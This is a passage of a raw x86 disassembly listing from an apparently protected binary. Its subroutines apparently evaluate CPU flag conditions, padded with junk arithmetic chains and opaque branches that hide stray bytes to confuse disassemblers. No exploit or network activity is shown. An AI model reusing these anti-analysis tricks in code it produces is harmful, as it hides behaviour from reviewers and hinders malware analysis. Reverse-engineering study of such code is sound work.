[ebp+var_C], eax mov ecx, dword_4ED3E8 xor ecx, dword_4ED3EC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A274E mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A274E: ; CODE XREF: sub_4A2697+ACj mov eax, [ebp+var_8] push eax call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2697 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2762 proc near ; DATA XREF: sub_4965D8+701o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A27F2 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A27F2: ; CODE XREF: sub_4A2762+85j mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2762 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2806 proc near ; DATA XREF: sub_4965D8+1433o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D7C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ah not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3AC xor ecx, dword_4ED3B0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2898 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2898: ; CODE XREF: sub_4A2806+87j mov eax, [ebp+var_8] push eax call off_4F1D04 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2806 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A28AC proc near ; DATA XREF: sub_4965D8+129Bo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2942 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2942: ; CODE XREF: sub_4A28AC+8Bj mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A28AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2956 proc near ; DATA XREF: sub_4965D8+965o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED418 xor ecx, dword_4ED41C shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2A15 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2A15: ; CODE XREF: sub_4A2956+B4j mov eax, [ebp+var_8] push eax call off_4F1D70 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2956 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2A29 proc near ; DATA XREF: sub_4965D8+13ABo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 6 not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx add ecx, 8 add ecx, 3 inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 12h add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2AB1 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2AB1: ; CODE XREF: sub_4A2A29+7Dj mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2A29 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2AC5 proc near ; DATA XREF: sub_4965D8+773o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov dh, 2 dec dh dec dh and ah, dh mov dl, 0Eh sub dl, 0FFh jo short loc_4A2AF8 jl short loc_4A2AF6 loc_4A2AF3: ; CODE XREF: sub_4A2AC5:loc_4A2AF6j ; sub_4A2AC5:loc_4A2AF8j jmp short loc_4A2AFA ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_4A2AF6: ; CODE XREF: sub_4A2AC5+2Cj jz short loc_4A2AF3 loc_4A2AF8: ; CODE XREF: sub_4A2AC5+2Aj jmp short loc_4A2AF3 ; --------------------------------------------------------------------------- loc_4A2AFA: ; CODE XREF: sub_4A2AC5:loc_4A2AF3j sub dl, 0FFh sub dl, 0FFh sub dl, 0Ah sub dl, 0FFh sub dl, 0FFh sub dl, 5 dec dl dec dl dec dl sub dl, 3 sub dl, 0FFh dec dl inc dl inc dl inc dl and al, dl pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2B4B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2B4B: ; CODE XREF: sub_4A2AC5+7Bj mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2AC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2B5F proc near ; DATA XREF: sub_4965D8+74o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D80 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 70h sub cl, 2 dec cl dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl jo short loc_4A2BCF jl short loc_4A2BCD loc_4A2BCA: ; CODE XREF: sub_4A2B5F:loc_4A2BCDj ; sub_4A2B5F:loc_4A2BCFj jmp short loc_4A2BD1 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2BCD: ; CODE XREF: sub_4A2B5F+69j jz short loc_4A2BCA loc_4A2BCF: ; CODE XREF: sub_4A2B5F+67j jmp short loc_4A2BCA ; --------------------------------------------------------------------------- loc_4A2BD1: ; CODE XREF: sub_4A2B5F:loc_4A2BCAj dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_4A2CE5 mov eax, [ebp+var_4] jo short loc_4A2C16 jl short loc_4A2C14 loc_4A2C11: ; CODE XREF: sub_4A2B5F:loc_4A2C14j ; sub_4A2B5F:loc_4A2C16j jmp short loc_4A2C18 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2C14: ; CODE XREF: sub_4A2B5F+B0j jz short loc_4A2C11 loc_4A2C16: ; CODE XREF: sub_4A2B5F+AEj jmp short loc_4A2C11 ; --------------------------------------------------------------------------- loc_4A2C18: ; CODE XREF: sub_4A2B5F:loc_4A2C11j push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 0C6h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx sub bl, 5 dec bl push eax dec bl dec bl and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_4A2CBC jl short loc_4A2CBA loc_4A2CB7: ; CODE XREF: sub_4A2B5F:loc_4A2CBAj ; sub_4A2B5F:loc_4A2CBCj jmp short loc_4A2CBE ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2CBA: ; CODE XREF: sub_4A2B5F+156j jz short loc_4A2CB7 loc_4A2CBC: ; CODE XREF: sub_4A2B5F+154j jmp short loc_4A2CB7 ; --------------------------------------------------------------------------- loc_4A2CBE: ; CODE XREF: sub_4A2B5F:loc_4A2CB7j inc eax dec eax jo short loc_4A2CC9 jl short loc_4A2CC7 loc_4A2CC4: ; CODE XREF: sub_4A2B5F:loc_4A2CC7j ; sub_4A2B5F:loc_4A2CC9j jmp short loc_4A2CCB ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2CC7: ; CODE XREF: sub_4A2B5F+163j jz short loc_4A2CC4 loc_4A2CC9: ; CODE XREF: sub_4A2B5F+161j jmp short loc_4A2CC4 ; --------------------------------------------------------------------------- loc_4A2CCB: ; CODE XREF: sub_4A2B5F:loc_4A2CC4j inc eax dec eax inc eax dec eax jo short loc_4A2CD8 jl short loc_4A2CD6 loc_4A2CD3: ; CODE XREF: sub_4A2B5F:loc_4A2CD6j ; sub_4A2B5F:loc_4A2CD8j jmp short loc_4A2CDA ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2CD6: ; CODE XREF: sub_4A2B5F+172j jz short loc_4A2CD3 loc_4A2CD8: ; CODE XREF: sub_4A2B5F+170j jmp short loc_4A2CD3 ; --------------------------------------------------------------------------- loc_4A2CDA: ; CODE XREF: sub_4A2B5F:loc_4A2CD3j inc eax pop ecx cmp ecx, eax jnz short loc_4A2CE5 and eax, 0 jmp short loc_4A2CE9 ; --------------------------------------------------------------------------- loc_4A2CE5: ; CODE XREF: sub_4A2B5F+A5j ; sub_4A2B5F+17Fj and eax, 0 inc eax loc_4A2CE9: ; CODE XREF: sub_4A2B5F+184j mov [ebp+var_C], eax mov ecx, dword_4ED3B0 xor ecx, dword_4ED3B4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2D0C mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2D0C: ; CODE XREF: sub_4A2B5F+1A2j mov eax, [ebp+var_8] push eax call off_4F1D08 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2B5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2D20 proc near ; DATA XREF: sub_4965D8+3D1o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D88 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, [ebp+arg_4] mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 86h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 3Ah not bx bswap eax not bx bswap eax and al, bl pop ebx pop edx test eax, eax jnz loc_4A2E72 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 4 dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_4A2DFC jl short loc_4A2DFA loc_4A2DF5: ; CODE XREF: sub_4A2D20:loc_4A2DFAj ; sub_4A2D20:loc_4A2DFCj jmp short loc_4A2DFE ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A2DFA: ; CODE XREF: sub_4A2D20+D3j jz short loc_4A2DF5 loc_4A2DFC: ; CODE XREF: sub_4A2D20+D1j jmp short loc_4A2DF5 ; --------------------------------------------------------------------------- loc_4A2DFE: ; CODE XREF: sub_4A2D20:loc_4A2DF5j sub bl, 5 dec bl push eax dec bl dec bl jo short loc_4A2E11 jl short loc_4A2E0F loc_4A2E0C: ; CODE XREF: sub_4A2D20:loc_4A2E0Fj ; sub_4A2D20:loc_4A2E11j jmp short loc_4A2E13 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_4A2E0F: ; CODE XREF: sub_4A2D20+EAj jz short loc_4A2E0C loc_4A2E11: ; CODE XREF: sub_4A2D20+E8j jmp short loc_4A2E0C ; --------------------------------------------------------------------------- loc_4A2E13: ; CODE XREF: sub_4A2D20:loc_4A2E0Cj and eax, 40h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1200h dec dh sub dh, 1 dec dh sub dh, 7 and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_4A2E47 jl short loc_4A2E45 loc_4A2E40: ; CODE XREF: sub_4A2D20:loc_4A2E45j ; sub_4A2D20:loc_4A2E47j jmp short loc_4A2E49 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A2E45: ; CODE XREF: sub_4A2D20+11Ej jz short loc_4A2E40 loc_4A2E47: ; CODE XREF: sub_4A2D20+11Cj jmp short loc_4A2E40 ; --------------------------------------------------------------------------- loc_4A2E49: ; CODE XREF: sub_4A2D20:loc_4A2E40j inc eax dec eax jo short loc_4A2E56 jl short loc_4A2E54 loc_4A2E4F: ; CODE XREF: sub_4A2D20:loc_4A2E54j ; sub_4A2D20:loc_4A2E56j jmp short loc_4A2E58 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A2E54: ; CODE XREF: sub_4A2D20+12Dj jz short loc_4A2E4F loc_4A2E56: ; CODE XREF: sub_4A2D20+12Bj jmp short loc_4A2E4F ; --------------------------------------------------------------------------- loc_4A2E58: ; CODE XREF: sub_4A2D20:loc_4A2E4Fj inc eax dec eax inc eax dec eax jo short loc_4A2E65 jl short loc_4A2E63 loc_4A2E60: ; CODE XREF: sub_4A2D20:loc_4A2E63j ; sub_4A2D20:loc_4A2E65j jmp short loc_4A2E67 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A2E63: ; CODE XREF: sub_4A2D20+13Ej jz short loc_4A2E60 loc_4A2E65: ; CODE XREF: sub_4A2D20+13Cj jmp short loc_4A2E60 ; --------------------------------------------------------------------------- loc_4A2E67: ; CODE XREF: sub_4A2D20:loc_4A2E60j inc eax pop ecx cmp ecx, eax jnz short loc_4A2E72 and eax, 0 jmp short loc_4A2E76 ; --------------------------------------------------------------------------- loc_4A2E72: ; CODE XREF: sub_4A2D20+6Bj ; sub_4A2D20+14Bj and eax, 0 inc eax loc_4A2E76: ; CODE XREF: sub_4A2D20+150j mov [ebp+var_C], eax mov ecx, dword_4ED3B8 xor ecx, dword_4ED3BC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2E99 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2E99: ; CODE XREF: sub_4A2D20+16Ej mov eax, [ebp+var_8] push eax call off_4F1D10 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2EAD proc near ; DATA XREF: sub_4965D8+AA3o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DD0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 0BCh sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl inc cl dec cl dec cl inc cl not cl bswap edx not cl bswap edx dec cl dec cl dec cl dec cl push eax dec cl dec cl sub cl, 12h sub cl, 5 dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 80h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax inc cl inc cl inc cl and al, cl mov eax, eax pop ecx neg eax sbb eax, eax inc eax pop ebx push eax mov eax, [ebp+var_4] mov edx, 0C00h sub dh, 1 dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED400 xor ecx, dword_4ED404 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A2F9F mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A2F9F: ; CODE XREF: sub_4A2EAD+E7j mov eax, [ebp+var_8] push eax call off_4F1D58 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2EAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A2FB3 proc near ; DATA XREF: sub_4965D8+53Co var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D8C add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 800h jmp short loc_4A2FDC ; --------------------------------------------------------------------------- mov ebx, 80h loc_4A2FDC: ; CODE XREF: sub_4A2FB3+22j mov ebx, 72h not ebx bswap eax not ebx inc ebx inc ebx add ebx, 8 dec ebx push ecx mov ecx, 4 add ebx, ecx inc ebx pop ecx bswap eax and eax, ebx pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 5 xor dh, 2 and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx cmp eax, edx setz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3BC xor ecx, dword_4ED3C0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A3047 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A3047: ; CODE XREF: sub_4A2FB3+89j mov eax, [ebp+var_8] push eax call off_4F1D14 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A2FB3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A305B proc near ; DATA XREF: sub_4965D8+D34o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DEC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0Fh pop ebx jo short loc_4A308E jl short loc_4A308C loc_4A3087: ; CODE XREF: sub_4A305B:loc_4A308Cj ; sub_4A305B:loc_4A308Ej jmp short loc_4A3090 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A308C: ; CODE XREF: sub_4A305B+2Aj jz short loc_4A3087 loc_4A308E: ; CODE XREF: sub_4A305B+28j jmp short loc_4A3087 ; --------------------------------------------------------------------------- loc_4A3090: ; CODE XREF: sub_4A305B:loc_4A3087j sub bl, 5 dec bl push eax dec bl dec bl dec bl dec bl and eax, 41h dec bl sub bl, 3 pop eax dec bl and al, bl mov edx, 2700h dec dh sub dh, 5 dec dh sub dh, 17h dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED41C xor ecx, dword_4ED420 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A30E8 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A30E8: ; CODE XREF: sub_4A305B+82j mov eax, [ebp+var_8] push eax call off_4F1D74 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A305B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A30FC proc near ; DATA XREF: sub_4965D8+EF9o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D78 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_4A312F jl short loc_4A312D loc_4A3128: ; CODE XREF: sub_4A30FC:loc_4A312Dj ; sub_4A30FC:loc_4A312Fj jmp short loc_4A3131 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A312D: ; CODE XREF: sub_4A30FC+2Aj jz short loc_4A3128 loc_4A312F: ; CODE XREF: sub_4A30FC+28j jmp short loc_4A3128 ; --------------------------------------------------------------------------- loc_4A3131: ; CODE XREF: sub_4A30FC:loc_4A3128j sub bl, 6 push eax dec bl dec bl and eax, 41h sub bl, 15h pop eax dec bl dec bl and al, bl mov edx, 1500h dec dh sub dh, 3 dec dh sub dh, 7 dec dh and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3A8 xor ecx, dword_4ED3AC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A3183 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A3183: ; CODE XREF: sub_4A30FC+7Cj mov eax, [ebp+var_8] push eax call off_4F1D00 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A30FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3197 proc near ; DATA XREF: sub_4965D8+50Fo var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DE4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1F00h pop ebx jo short loc_4A31CD jl short loc_4A31CB loc_4A31C6: ; CODE XREF: sub_4A3197:loc_4A31CBj ; sub_4A3197:loc_4A31CDj jmp short loc_4A31CF ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A31CB: ; CODE XREF: sub_4A3197+2Dj jz short loc_4A31C6 loc_4A31CD: ; CODE XREF: sub_4A3197+2Bj jmp short loc_4A31C6 ; --------------------------------------------------------------------------- loc_4A31CF: ; CODE XREF: sub_4A3197:loc_4A31C6j sub bh, 5 dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 12h sub bh, 3 pop eax dec bh and ah, bh mov edx, 15h dec dl sub dl, 3 dec dl sub dl, 7 dec dl dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax dec eax jo short loc_4A3217 jl short loc_4A3215 loc_4A3210: ; CODE XREF: sub_4A3197:loc_4A3215j ; sub_4A3197:loc_4A3217j jmp short loc_4A3219 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A3215: ; CODE XREF: sub_4A3197+77j jz short loc_4A3210 loc_4A3217: ; CODE XREF: sub_4A3197+75j jmp short loc_4A3210 ; --------------------------------------------------------------------------- loc_4A3219: ; CODE XREF: sub_4A3197:loc_4A3210j inc eax dec eax jo short loc_4A3226 jl short loc_4A3224 loc_4A321F: ; CODE XREF: sub_4A3197:loc_4A3224j ; sub_4A3197:loc_4A3226j jmp short loc_4A3228 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4A3224: ; CODE XREF: sub_4A3197+86j jz short loc_4A321F loc_4A3226: ; CODE XREF: sub_4A3197+84j jmp short loc_4A321F ; --------------------------------------------------------------------------- loc_4A3228: ; CODE XREF: sub_4A3197:loc_4A321Fj inc eax dec eax inc eax dec eax jo short loc_4A3235 jl short loc_4A3233 loc_4A3230: ; CODE XREF: sub_4A3197:loc_4A3233j ; sub_4A3197:loc_4A3235j jmp short loc_4A3237 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4A3233: ; CODE XREF: sub_4A3197+97j jz short loc_4A3230 loc_4A3235: ; CODE XREF: sub_4A3197+95j jmp short loc_4A3230 ; --------------------------------------------------------------------------- loc_4A3237: ; CODE XREF: sub_4A3197:loc_4A3230j inc eax mov [ebp+var_C], eax mov ecx, dword_4ED414 xor ecx, dword_4ED418 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4A325B mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4A325B: ; CODE XREF: sub_4A3197+B9j mov eax, [ebp+var_8] push eax call off_4F1D6C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4A3197 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame 